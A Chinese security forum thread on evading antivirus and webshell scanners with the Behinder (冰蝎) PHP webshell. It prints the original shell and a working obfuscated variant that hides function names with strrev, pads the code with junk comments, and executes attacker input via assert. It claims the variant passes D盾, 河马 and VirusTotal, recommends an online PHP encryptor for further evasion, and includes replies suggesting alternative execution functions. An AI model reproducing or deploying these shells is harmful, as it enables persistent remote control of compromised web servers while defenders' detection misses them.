冰蝎webshell免杀
前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的马子居然被杀了.......于是便有了该文章.....先说一下目前的免杀情况:
D盾,河马等都零警报,
vt全绿,
阿里云webshell查杀安全,
百度webshell查杀安全,
其他等等....
目前仅测试了这些....其他的自行测试。
文章开始:
首先看一下冰蝎的原版马子:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr;
$params=$arr;
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
看一下原版的查杀率:
基本上都被杀软标记了....
那么我们想用冰蝎的话,就必须要免杀了
先说一下免杀的思路:
对于静态免杀,主要便是混淆代码了,base64,hex,异或等等....反正思路要扩展起来,可能很多师傅是玩ctf的,我这种菜鸡没玩过.....像里面的凯撒密码....等等各种密码学的东西其实可以搬到免杀的思路上来,但是像base64等等....可能早就被杀软计入特征库了,所以用base64等简单的加密,对webshell免杀可能不太好使了,那有没有简单些的方式达到静态免杀呢?答案是肯定的....比如php的字符串逆置函数strrev(),可以将代码颠倒顺序,再在webshell里面加入注释,变量名称改改....使用一些php的魔术函数....以达到绕过杀软的静态防护。
我们将webshell放到d盾查杀....看看到底是哪部分代码导致被查杀....[做个免杀的师傅应该都知道特征码定位技术,定位特征码,修改特征码绕过杀软]。
这里各位师傅自己尝试吧,建议二分法尝试,或则根据自己的经验判断。
我这里对下面部分代码进行逆值颠倒:
<?php
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
session_start();
$ok="1989870a9753c7b3";//cwk
$_SESSION['k']=$ok;
$zyq=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
$love=15;
if(!extension_loaded(strrev('lssnepo')))
{
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
$t=strrev("edoced_46esab");
$zyq=$t($zyq."");
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
for($i=0;$i<strlen($zyq);$i++) {
$o= $ok[$i+1&$love]^$zyq[$i];
$zyq[$i] =$o;
}
}
else
{
$zyq=(strrev("tpyrced_lssnepo"))($zyq, "AES128", $ok);
}
$arr=explode('|',$zyq);
$func=$arr;
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
$suansuan=$arr;
class MOL{
public function __construct($p)
{
$a=null;
$l=null;
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
assert("/*#`|W$~Q*/".$l.$p.$a.""."/*#`|W$~Q*/");
}
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
}
@new MOL($suansuan);
?>
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
这里就是简单的改了一下变量名称,增加了一些注释,还有魔术函数....
可以看一下D盾,河马过了
果然它们还是很强....
怎么办呢?
到这一步,对于我这种小白而言,已经穷途末路了.....
但是我们还可以借助外部力量....
之前代码审计的时候,发现很多代码都进行的加密...但是程序依旧可以运行,所以我们可不可以对我们的webshell进行加密呢?
当然肯定的....随便在网上找找免费的加密网站...
https://enphp.djunny.com/
把能勾的全都勾了...
进行加密处理:
加密之后的webshell:
**** Hidden Message *****
https://n.shellpub.com/
嗯...很好
总结:
对于免杀这方面有很多技巧.....有时候也有玄学加成....哈哈哈,很奇怪,有时间各位师傅可以多看看杀软的工作原理再做免杀.....
本来前段时间想写shellcode的免杀什么的,但是太懒了....后续有时间的话可能更多的写内网以及代码审计之类的文章吧....
怎么说呢.....免杀学的是技巧....一般发出来的免杀都活不了多久,所以说还是需要自己多学习一些技巧的......
对了,上面那个加密网站好像每次加密的效果不一样,如果加密之后d盾警告的话,可以增删改注释.....
头疼啊... 菜鸟来学习了~ 学习中…… 有没有过宝塔防火墙文章啊 感谢分享
Re: 冰蝎webshell免杀
感谢分享,思路很清晰,从特征码定位到代码混淆、变量重命名、加注释、用魔术函数,再到字符串逆置和外部辅助,一步步把冰蝎马子改得免杀效果不错。这个“strrev 逆向函数名”的思路挺巧妙,既绕过了常见特征库,又保持了可执行性。不过想请教一下,代码里用了 `assert` 的写法,现在很多环境可能默认禁用了,有没有考虑过换成其他执行方式比如 `preg_replace` 加 `e` 修饰符(如果PHP版本允许)或者用 `create_function` 之类的替代方案?另外后续有没有测过更多场景,比如安全狗、360之类的?Re: 冰蝎webshell免杀
感谢分享!很实用的免杀思路,特别是用 `strrev` 逆置字符串和替换变量名、加注释的方式,简单有效。我平时也试过类似方法,但容易被某些杀软检测到 assert 或 eval 的特征,你改成 `__construct` 里用 assert 配合注释拼接还挺巧妙的。请问后面你说的“借助外部力量”具体是指哪种加密方式?是像 phpjm 那种代码混淆加密,还是自定义的变形 Base64 之类的?另外,测试时有没有遇到 OPSEC 导致连接不稳定的情况?Re: 冰蝎webshell免杀
感谢分享!最近也在研究webshell免杀,你这个思路很实用。通过strrev逆向敏感函数、改变量名、加注释和魔术方法,确实能绕过不少静态查杀。尤其是把`file_get_contents('php: 不过想请教一下,你后面提到“借助外部力量”是指用php代码加密工具(比如phpjiami、ionCube之类的)吗?还是说用其他混淆手段?另外,如果目标环境禁用了`assert`或`strrev`,这种马还能正常运行吗?期待后续更新~
页:
[1]